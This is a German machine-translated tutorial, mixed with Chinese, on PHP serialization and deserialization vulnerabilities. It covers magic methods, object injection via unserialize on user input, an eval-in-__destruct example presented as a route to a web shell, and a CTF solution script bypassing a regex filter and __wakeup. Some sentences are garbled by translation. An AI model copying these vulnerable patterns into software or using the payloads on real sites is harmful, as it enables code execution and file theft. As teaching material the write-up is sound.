1 Vorwort
Vor kurzem habe ich die Inhalte, die ich zuvor gelernt habe, noch einmal überprüft, und ich habe das Gefühl, dass ich es getan habe ein Verständnis der PHP-Deserialisierung Es ist tiefer, deshalb fasse ich es hier zusammen
2 Funktion serialize()
„Alle Werte in PHP können die Funktion serialize verwenden.“ () um ein Wort zurückzugeben, das durch eine Drosselzeichenfolge dargestellt wird. Durch die Serialisierung werden alle Variablen des Objekts gespeichert, jedoch nicht die Methoden des Objekts Dieses Konzept mag zunächst etwas verwirrend sein, aber dann habe ich es nach und nach verstanden.
Wenn die Programmausführung endet, werden die in den Variablen gespeicherten Daten sofort zerstört und Datenbanken sind „persistente Daten“, daher ist die PHP-Sequenzspeicherung der Prozess des „Speicherns“ variabler Daten im Speicher als persistente Daten in einer Datei.
Verwandte Lernempfehlungen:PHP-Programmierung vom Einstieg bis zur BeherrschungLassen Sie uns anhand eines konkreten Beispiels etwas über Serialisierung lernen:$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件Nach dem Login kopieren
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.'is'.$this->age.'years old. <br />'; } } //创建一个对象 $user = new User(); // 设置数据 $user->age = 20; $user->name = 'daye'; //输出数据 $user->PrintData(); //输出序列化之后的数据 echo serialize($user); ?>
Dies ist das Ergebnis:
Sie können sehen, dass nach der Serialisierung eines Objekts alle Variablen des Objekts gespeichert werden und festgestellt wird, dass das serialisierte Ergebnis eine hat Zeichen, diese Zeichen sind Abkürzungen der folgenden Buchstaben.
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
Nachdem Sie die Buchstaben des Abkürzungstyps verstanden haben, können Sie das PHP-Serialisierungsformat erhalten
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
Anhand des obigen Beispiels können Sie das Konzept der Rückgabe eines Bytestreams über die Funktion serialize() verstehen Zeichenfolge dieses Absatzes.
3 Die unserialize()-Funktionunserialize()
Einfach ausgedrückt handelt es sich um den Prozess der Wiederherstellung der in der Datei gespeicherten serialisierten Daten in der Variablendarstellung des Programmcodes und der Wiederherstellung der Ergebnisse vor der Variablenserialisierung.
$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
Erfahren Sie mehr über Deserialisierung anhand eines Beispiels:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.' is '.$this->age.' years old. <br />'; } } //重建对象 $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); ?>
Das ist das Ergebnis:
Hinweis: Vorher Beim Deserialisieren eines Objekts muss die Klasse des Objekts vor dem Deserialisieren definiert werden. Andernfalls wird ein Fehler gemeldet
4 PHP-DeserialisierungsschwachstelleBevor wir uns mit der Schwachstelle vertraut machen, wollen wir zunächst die magische PHP-Funktion verstehen wird Ihnen helfen, mehr zu lernen. Es wird hilfreich sein
PHP reserviert alle Klassenmethoden, die mit __ (zwei Unterstrichen) beginnen, als magische Methoden
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
Hier ist nur ein Teil der magischen Funktionen aufgeführt,
Nehmen wir ein Beispiel, um den Prozess des automatischen Aufrufs der magischen Funktion zu verstehen
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //实例化对象,调用__construct()方法,输出__construct $obj->echoP(); //调用echoP()方法,输出"abc" echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString $s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。 // 脚本结束又会调用__destruct()方法,输出__destruct ?>
Das ist das Ergebnis:
Sie können es sehen deutlich durch dieses Beispiel Die magische Funktion wird aufgerufen, wenn die entsprechenden Bedingungen erfüllt sind.
5 ObjektinjektionEine Schwachstelle tritt auf, wenn die Anfrage des Benutzers nicht ordnungsgemäß gefiltert wird, bevor sie an die Deserialisierungsfunktion unserialize() übergeben wird. Da PHP die Objektserialisierung ermöglicht, könnte ein Angreifer eine bestimmte serialisierte Zeichenfolge an eine anfällige Unserialize-Funktion übermitteln, was letztendlich zur Einschleusung eines beliebigen PHP-Objekts in den Anwendungsbereich führt.
Objektschwachstellen müssen zwei Voraussetzungen erfüllen:
1. Die Parameter von Unserialize sind steuerbar.
2. Im Code ist eine Klasse definiert, die eine magische Methode enthält, und es gibt einige Funktionen mit Sicherheitsproblemen, die Klassenmitgliedsvariablen als Parameter in der Methode verwenden.
Das Folgende ist ein Beispiel:<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
und führen Sie es im Skript aus. Nach dem Ende wird die Funktion _destruct aufgerufen und die Testvariable überschrieben, um Lemon auszugeben.
Nachdem Sie diese Schwachstelle entdeckt haben, können Sie diesen Schwachstellenpunkt verwenden, um Eingabevariablen zu steuern und sie in ein serialisiertes Objekt zu integrieren.
Sehen Sie sich ein anderes Beispiel an:
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
Wenn Sie genau hinschauen, werden Sie feststellen, dass wir das serialisierte Objekt tatsächlich manuell erstellen, damit die Funktion unserialize() die Funktion __destruc() auslösen kann. Funktion und führen Sie sie dann in_ Schädliche Anweisungen in der Funktion _destruc() aus.
So können wir diese Schwachstelle nutzen, um die Web-Shell zu erhalten
6 Umgehen der Deserialisierung der magischen FunktionPHP5<5.6.25
PHP7<7.0.10
#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
百度杯——Hash
其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php
的内容
(1)绕过正则表达式对变量的检查
(2)绕过_wakeup()
魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php
,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php
那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i
,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+
,这个正则表达式即匹配不到0:+4
:
(2)绕过_wakeup()
魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行
编写php序列化脚本
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创建一个对象,自动调用__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #进行序列化 $a = serialize($obj); #使用str_replace() 函数进行替换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再进行base64编码 echo base64_encode($a); ?>
Das obige ist der detaillierte Inhalt vonDetaillierte Erklärung der PHP-Deserialisierung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!